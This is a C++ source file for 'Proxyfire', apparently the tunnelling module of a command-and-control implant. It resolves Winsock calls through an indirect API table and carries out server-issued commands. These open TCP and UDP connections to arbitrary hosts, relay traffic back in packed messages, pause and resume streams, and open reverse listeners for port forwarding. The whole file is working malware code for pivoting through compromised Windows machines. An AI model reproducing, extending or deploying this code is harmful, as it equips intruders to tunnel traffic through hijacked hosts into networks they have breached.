2026-04-06 00:20:51 -05:00

684 lines
20 KiB
C++

#include "Proxyfire.h"
void* Proxyfire::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void Proxyfire::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(Proxyfire));
}
void PackProxyStatus(Packer* packer, ULONG channelId, ULONG commandId, ULONG type, ULONG result)
{
packer->Pack32(channelId);
packer->Pack32(commandId);
packer->Pack32(type);
packer->Pack32(result);
}
void PackProxyControl(Packer* packer, ULONG channelId, ULONG commandId)
{
packer->Pack32(channelId);
packer->Pack32(commandId);
}
void PackProxyData(Packer* packer, ULONG channelId, BYTE* data, ULONG dataSize )
{
packer->Pack32(channelId);
packer->Pack32(COMMAND_TUNNEL_WRITE_TCP);
packer->PackBytes(data, dataSize);
}
void Proxyfire::AddProxyData(ULONG channelId, ULONG type, SOCKET sock, ULONG waitTime, ULONG mode, ULONG address, WORD port, ULONG state)
{
TunnelData tunnelData = { 0 };
tunnelData.channelID = channelId;
tunnelData.type = type;
tunnelData.sock = sock;
tunnelData.waitTime = waitTime;
tunnelData.mode = mode;
tunnelData.state = state;
tunnelData.i_address = address;
tunnelData.port = port;
tunnelData.startTick = ApiWin->GetTickCount();
tunnelData.writeBuffer = NULL;
tunnelData.writeBufferSize = 0;
tunnelData.paused = FALSE;
tunnelData.server_paused = FALSE;
this->tunnels.push_back(tunnelData);
}
//////////
SOCKET listenSocket(u_short port, int stream)
{
WSAData WSAData;
if (ApiWin->WSAStartup(514u, &WSAData) < 0)
return -1;
SOCKET sock = ApiWin->socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1)
return -1;
struct sockaddr_in saddr = { 0 };
saddr.sin_family = AF_INET;
saddr.sin_port = _htons(port);
u_long argp = 1;
int result = ApiWin->ioctlsocket(sock, FIONBIO, &argp);
if (result != -1) {
result = ApiWin->bind(sock, (struct sockaddr*)&saddr, sizeof(sockaddr));
if (result != -1) {
result = ApiWin->listen(sock, stream);
if (result != -1) {
return sock;
}
}
}
ApiWin->closesocket(sock);
return -1;
}
void Proxyfire::ConnectMessageTCP(ULONG channelId, ULONG type, CHAR* address, WORD port, Packer* outPacker)
{
WSAData wsaData;
if (ApiWin->WSAStartup(514, &wsaData)) {
ApiWin->WSACleanup();
return;
}
else {
SOCKET sock = ApiWin->socket(AF_INET, SOCK_STREAM, 0);
if (sock != -1) {
hostent* host = ApiWin->gethostbyname(address);
if (host) {
sockaddr_in socketAddress = { 0 };
memcpy(&socketAddress.sin_addr, *(const void**)host->h_addr_list, host->h_length); //memmove
socketAddress.sin_family = AF_INET;
socketAddress.sin_port = _htons(port);
DWORD timeout = 100;
ApiWin->setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout));
ApiWin->setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout, sizeof(timeout));
u_long mode = 1;
ApiWin->ioctlsocket(sock, FIONBIO, &mode);
int result = ApiWin->connect(sock, (sockaddr*)&socketAddress, sizeof(socketAddress));
if (result == 0) {
this->AddProxyData(channelId, type, sock, 30000, TUNNEL_MODE_SEND_TCP, 0, 0, TUNNEL_STATE_CONNECT);
ApiWin->WSACleanup();
return;
}
int connectError = ApiWin->WSAGetLastError();
if (connectError != WSAEWOULDBLOCK) {
ApiWin->closesocket(sock);
ApiWin->WSACleanup();
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, type, connectError);
return;
}
fd_set writefds;
FD_ZERO(&writefds);
FD_SET(sock, &writefds);
timeval tv = { 0, 100000 };
int selectResult = ApiWin->select(0, NULL, &writefds, NULL, &tv);
if (selectResult > 0 && ApiWin->__WSAFDIsSet((SOCKET)(sock), (fd_set FAR*)(&writefds))) {
int sockError = 0;
int len = sizeof(sockError);
ApiWin->getsockopt(sock, SOL_SOCKET, SO_ERROR, (char*)&sockError, &len);
if (sockError == 0) {
this->AddProxyData(channelId, type, sock, 30000, TUNNEL_MODE_SEND_TCP, 0, 0, TUNNEL_STATE_CONNECT);
return;
}
else {
ApiWin->closesocket(sock);
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, type, sockError);
}
}
else {
ApiWin->closesocket(sock);
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, type, WSAETIMEDOUT);
}
}
}
ULONG error = ApiWin->WSAGetLastError();
ApiWin->closesocket(sock);
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, type, error);
}
}
void Proxyfire::ConnectMessageUDP(ULONG channelId, CHAR* address, WORD port, Packer* outPacker)
{
WSAData wsaData;
if (ApiWin->WSAStartup(514, &wsaData)) {
ApiWin->WSACleanup();
return;
}
else {
SOCKET sock = ApiWin->socket(AF_INET, SOCK_DGRAM, 0);
if (sock != -1) {
hostent* host = ApiWin->gethostbyname(address);
if (host) {
ULONG addr = 0;
memcpy(&addr, *(const void**)host->h_addr_list, 4); //memmove
sockaddr_in socketAddress = { 0 };
socketAddress.sin_family = AF_INET;
if (ApiWin->bind(sock, (sockaddr*)&socketAddress, sizeof(socketAddress)) == 0) {
u_long mode = 1;
if (ApiWin->ioctlsocket(sock, FIONBIO, &mode) != -1) {
this->AddProxyData(channelId, 2, sock, 30000, TUNNEL_MODE_SEND_UDP, addr, port, TUNNEL_STATE_CONNECT);
return;
}
}
}
}
ULONG error = ApiWin->WSAGetLastError();
ApiWin->closesocket(sock);
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, 2, error);
}
}
void Proxyfire::ConnectWriteTCP(ULONG channelId, CHAR* data, ULONG dataSize, Packer* outPacker)
{
if (data == NULL || dataSize == 0)
return;
TunnelData* tunnelData;
for (int i = 0; i < tunnels.size(); i++) {
tunnelData = &(this->tunnels[i]);
if (tunnelData->channelID != channelId || tunnelData->state != TUNNEL_STATE_READY)
continue;
if (tunnelData->writeBuffer != NULL && tunnelData->writeBufferSize > 0) {
if (tunnelData->writeBufferSize + dataSize > TUNNEL_BUFFER_HARD_CAP) {
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
MemFreeLocal((LPVOID*) & tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = NULL;
tunnelData->writeBufferSize = 0;
if (outPacker)
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
return;
}
CHAR* newBuf = (CHAR*)MemReallocLocal(tunnelData->writeBuffer, tunnelData->writeBufferSize + dataSize);
if (newBuf == NULL) {
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = NULL;
tunnelData->writeBufferSize = 0;
if (outPacker)
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
return;
}
tunnelData->writeBuffer = newBuf;
memcpy(tunnelData->writeBuffer + tunnelData->writeBufferSize, data, dataSize);
tunnelData->writeBufferSize += dataSize;
if (outPacker && tunnelData->writeBufferSize > TUNNEL_BUFFER_HIGH_WATERMARK && !tunnelData->paused) {
tunnelData->paused = TRUE;
PackProxyControl(outPacker, channelId, COMMAND_TUNNEL_PAUSE);
}
return;
}
int sent = ApiWin->send(tunnelData->sock, data, (int)dataSize, 0);
if (sent == -1) {
int err = ApiWin->WSAGetLastError();
if (err == WSAEWOULDBLOCK) {
sent = 0;
}
else {
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
if (outPacker)
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, err);
return;
}
}
if (sent < (int)dataSize) {
ULONG remain = dataSize - (ULONG)sent;
if (remain > TUNNEL_BUFFER_HARD_CAP) {
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
if (outPacker)
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
return;
}
tunnelData->writeBuffer = (CHAR*)MemAllocLocal(remain);
if (tunnelData->writeBuffer == NULL) {
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
if (outPacker)
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
return;
}
memcpy(tunnelData->writeBuffer, data + sent, remain);
tunnelData->writeBufferSize = remain;
if (outPacker && tunnelData->writeBufferSize > TUNNEL_BUFFER_HIGH_WATERMARK && !tunnelData->paused) {
tunnelData->paused = TRUE;
PackProxyControl(outPacker, channelId, COMMAND_TUNNEL_PAUSE);
}
}
return;
}
tunnelData = NULL;
}
void Proxyfire::ConnectWriteUDP(ULONG channelId, CHAR* data, ULONG dataSize)
{
TunnelData* tunnelData;
for (int i = 0; i < tunnels.size(); i++) {
tunnelData = &(this->tunnels[i]);
if ( tunnelData->channelID == channelId && tunnelData->state == TUNNEL_STATE_READY ) {
DWORD finishTick = ApiWin->GetTickCount() + 30000;
timeval timeout = { 0, 100 };
fd_set exceptfds;
fd_set writefds;
while (ApiWin->GetTickCount() < finishTick) {
writefds.fd_array[0] = tunnelData->sock;
writefds.fd_count = 1;
exceptfds.fd_array[0] = writefds.fd_array[0];
exceptfds.fd_count = 1;
ApiWin->select(0, 0, &writefds, &exceptfds, &timeout);
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &exceptfds))
break;
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &writefds)) {
sockaddr_in addr_to;
addr_to.sin_family = AF_INET;
addr_to.sin_port = _htons(tunnelData->port);
addr_to.sin_addr.S_un.S_addr = tunnelData->i_address;
ApiWin->sendto(tunnelData->sock, data, dataSize, 0, (const struct sockaddr*)&addr_to, 16);
}
}
break;
}
}
tunnelData = NULL;
}
void Proxyfire::ConnectPause(ULONG channelId)
{
for (int i = 0; i < tunnels.size(); i++) {
TunnelData* t = &(tunnels[i]);
if (t->channelID == channelId) {
t->server_paused = TRUE;
return;
}
}
}
void Proxyfire::ConnectResume(ULONG channelId)
{
for (int i = 0; i < tunnels.size(); i++) {
TunnelData* t = &(tunnels[i]);
if (t->channelID == channelId) {
t->server_paused = FALSE;
return;
}
}
}
void Proxyfire::ConnectClose(ULONG channelId)
{
TunnelData* tunnelData;
for (int i = 0; i < tunnels.size(); i++) {
tunnelData = &(this->tunnels[i]);
if (tunnelData->channelID == channelId && tunnelData->state != TUNNEL_STATE_CLOSE) {
tunnelData->state = TUNNEL_STATE_CLOSE;
break;
}
}
tunnelData = NULL;
}
void Proxyfire::ConnectMessageReverse(ULONG tunnelId, WORD port, Packer* outPacker)
{
for (int i = 0; i < tunnels.size(); i++) {
TunnelData tunnelData = this->tunnels[i];
if (tunnelData.mode == TUNNEL_MODE_REVERSE_TCP && tunnelData.port == port && tunnelData.state != TUNNEL_STATE_CLOSE) {
PackProxyStatus(outPacker, tunnelId, COMMAND_TUNNEL_REVERSE, tunnelData.type, TUNNEL_CREATE_ERROR);
return;
}
}
SOCKET sock = listenSocket(port, 10);
if (sock == -1) {
PackProxyStatus(outPacker,tunnelId, COMMAND_TUNNEL_REVERSE, 5, TUNNEL_CREATE_ERROR);
return;
}
this->AddProxyData(tunnelId, 5, sock, 0, TUNNEL_MODE_REVERSE_TCP, 0, port, TUNNEL_STATE_CONNECT);
PackProxyStatus(outPacker, tunnelId, COMMAND_TUNNEL_REVERSE, 5, TUNNEL_STATE_CONNECT);
}
///////////////////
void Proxyfire::CheckProxy(Packer* packer)
{
TunnelData* tunnelData;
timeval timeout = { 0, 100 };
for (int i = 0; i < this->tunnels.size(); i++) {
tunnelData = &(this->tunnels[i]);
if (tunnelData->state == TUNNEL_STATE_CONNECT) {
ULONG channelId = tunnelData->channelID;
fd_set readfds;
readfds.fd_count = 1;
readfds.fd_array[0] = tunnelData->sock;
fd_set exceptfds;
exceptfds.fd_count = 1;
exceptfds.fd_array[0] = tunnelData->sock;
fd_set writefds;
writefds.fd_count = 1;
writefds.fd_array[0] = tunnelData->sock;
ApiWin->select(0, &readfds, &writefds, &exceptfds, &timeout);
if ( tunnelData->mode == TUNNEL_MODE_REVERSE_TCP ) {
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &readfds)) {
SOCKET sock = ApiWin->accept(tunnelData->sock, 0, 0);
u_long mode = 1;
if (ApiWin->ioctlsocket(sock, FIONBIO, &mode) == -1) {
ApiWin->closesocket(sock);
continue;
}
ULONG cid = GenerateRandom32();
packer->Pack32(tunnelData->channelID); // tunnel ID
packer->Pack32(COMMAND_TUNNEL_ACCEPT);
packer->Pack32(cid);
this->AddProxyData(cid, 5, sock, 180000, TUNNEL_MODE_SEND_TCP, 0, 0, TUNNEL_STATE_READY);
}
}
else {
if (tunnelData->mode == TUNNEL_MODE_SEND_UDP) {
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &exceptfds)) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
continue;
}
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &writefds)) {
tunnelData->state = TUNNEL_STATE_READY;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_SUCCESS);
continue;
}
}
else {
if (tunnelData->mode == TUNNEL_MODE_SEND_TCP) {
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &exceptfds)) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
continue;
}
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &writefds)) {
tunnelData->state = TUNNEL_STATE_READY;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_SUCCESS);
continue;
}
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &readfds)) {
SOCKET listenSock = tunnelData->sock;
SOCKET tmp_sock_2 = ApiWin->accept(listenSock, 0, 0);
if (tmp_sock_2 == -1) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
}
else {
tunnelData->sock = tmp_sock_2;
tunnelData->state = TUNNEL_STATE_READY;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_SUCCESS);
}
ApiWin->closesocket(listenSock);
continue;
}
}
}
if (ApiWin->GetTickCount() - tunnelData->startTick > tunnelData->waitTime) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
}
}
}
}
tunnelData = NULL;
}
ULONG Proxyfire::RecvProxy(Packer* packer)
{
ULONG count = 0;
LPVOID buffer = MemAllocLocal(0x10000);
TunnelData* tunnelData;
for (int i = 0; i < this->tunnels.size(); i++) {
if (packer->datasize() > 0x400000)
break;
tunnelData = &(this->tunnels[i]);
if (tunnelData->state == TUNNEL_STATE_READY) {
if (tunnelData->server_paused)
continue;
if (tunnelData->writeBufferSize > TUNNEL_BUFFER_HIGH_WATERMARK)
continue;
if (tunnelData->mode == TUNNEL_MODE_SEND_UDP) {
LPVOID buffer = MemAllocLocal(0xFFFFC);
struct sockaddr_in clientAddr = { 0 };
int clientAddrLen = sizeof(sockaddr_in);
int readed = ApiWin->recvfrom(tunnelData->sock, (CHAR*) buffer, 0xFFFFC, 0, (struct sockaddr*)&clientAddr, &clientAddrLen);
if (readed == -1) {
if (ApiWin->WSAGetLastError() != WSAEWOULDBLOCK) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
}
}
else if (readed) {
PackProxyData(packer, tunnelData->channelID, (PBYTE)buffer, readed);
++count;
}
MemFreeLocal(&buffer, 0xFFFFC);
}
else {
int max_reads = 16;
while (max_reads-- > 0) {
int readed = ApiWin->recv(tunnelData->sock, (char*)buffer, 0x10000, 0);
if (readed > 0) {
PackProxyData(packer, tunnelData->channelID, (PBYTE)buffer, readed);
++count;
}
else if (readed == 0) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
break;
}
else if (readed == -1) {
int err = ApiWin->WSAGetLastError();
if (err != WSAEWOULDBLOCK) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
}
break;
}
else {
char peekBuf[1];
int peekResult = ApiWin->recv(tunnelData->sock, peekBuf, 1, MSG_PEEK);
if (peekResult == 0) {
tunnelData->state = TUNNEL_STATE_CLOSE;
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
}
}
}
}
}
}
MemFreeLocal(&buffer, 0x10000);
tunnelData = NULL;
return count;
}
void Proxyfire::FlushProxy(Packer* packer)
{
TunnelData* tunnelData;
timeval timeout;
timeout.tv_sec = 0;
timeout.tv_usec = 0;
for (int i = 0; i < this->tunnels.size(); i++) {
tunnelData = &(this->tunnels[i]);
if (tunnelData->state != TUNNEL_STATE_READY)
continue;
if (tunnelData->writeBuffer == NULL || tunnelData->writeBufferSize == 0)
continue;
fd_set writefds;
FD_ZERO(&writefds);
FD_SET(tunnelData->sock, &writefds);
int sel = ApiWin->select(0, NULL, &writefds, NULL, &timeout);
if (sel <= 0 || !ApiWin->__WSAFDIsSet(tunnelData->sock, &writefds))
continue;
int sent = ApiWin->send(tunnelData->sock, tunnelData->writeBuffer, (int)tunnelData->writeBufferSize, 0);
if (sent > 0) {
if ((ULONG)sent >= tunnelData->writeBufferSize) {
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = NULL;
tunnelData->writeBufferSize = 0;
if (packer && tunnelData->paused) {
tunnelData->paused = FALSE;
PackProxyControl(packer, tunnelData->channelID, COMMAND_TUNNEL_RESUME);
}
}
else {
ULONG remain = tunnelData->writeBufferSize - (ULONG)sent;
CHAR* newBuf = (CHAR*)MemAllocLocal(remain);
if (newBuf == NULL) {
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = NULL;
tunnelData->writeBufferSize = 0;
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
if (packer)
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
continue;
}
memcpy(newBuf, tunnelData->writeBuffer + sent, remain);
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = newBuf;
tunnelData->writeBufferSize = remain;
if (packer && tunnelData->paused && tunnelData->writeBufferSize < TUNNEL_BUFFER_LOW_WATERMARK) {
tunnelData->paused = FALSE;
PackProxyControl(packer, tunnelData->channelID, COMMAND_TUNNEL_RESUME);
}
}
}
else if (sent == -1) {
int err = ApiWin->WSAGetLastError();
if (err != WSAEWOULDBLOCK) {
if (tunnelData->writeBuffer) {
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = NULL;
tunnelData->writeBufferSize = 0;
}
ApiWin->closesocket(tunnelData->sock);
tunnelData->state = TUNNEL_STATE_CLOSE;
if (packer)
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_CLOSE, 0, err);
}
}
}
tunnelData = NULL;
}
void Proxyfire::CloseProxy()
{
TunnelData* tunnelData;
for (int i = 0; i < this->tunnels.size(); i++) {
tunnelData = &(this->tunnels[i]);
if (tunnelData->state == TUNNEL_STATE_CLOSE) {
if (tunnelData->closeTimer == 0) {
tunnelData->closeTimer = ApiWin->GetTickCount();
continue;
}
if (tunnelData->closeTimer + 1000 < ApiWin->GetTickCount()) {
if (tunnelData->mode == TUNNEL_MODE_SEND_TCP || tunnelData->mode == TUNNEL_MODE_SEND_UDP)
ApiWin->shutdown(tunnelData->sock, 2);
if (ApiWin->closesocket(tunnelData->sock) && tunnelData->mode == TUNNEL_MODE_REVERSE_TCP)
continue;
if (tunnelData->writeBuffer) {
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
tunnelData->writeBuffer = NULL;
tunnelData->writeBufferSize = 0;
}
this->tunnels.remove(i);
--i;
}
}
}
tunnelData = NULL;
}
void Proxyfire::ProcessTunnels(Packer* packer)
{
if (!this->tunnels.size())
return;
this->CheckProxy(packer);
this->FlushProxy(packer);
ULONG finishTick = ApiWin->GetTickCount() + 2500;
while ( this->RecvProxy(packer) && ApiWin->GetTickCount() < finishTick );
this->CloseProxy();
}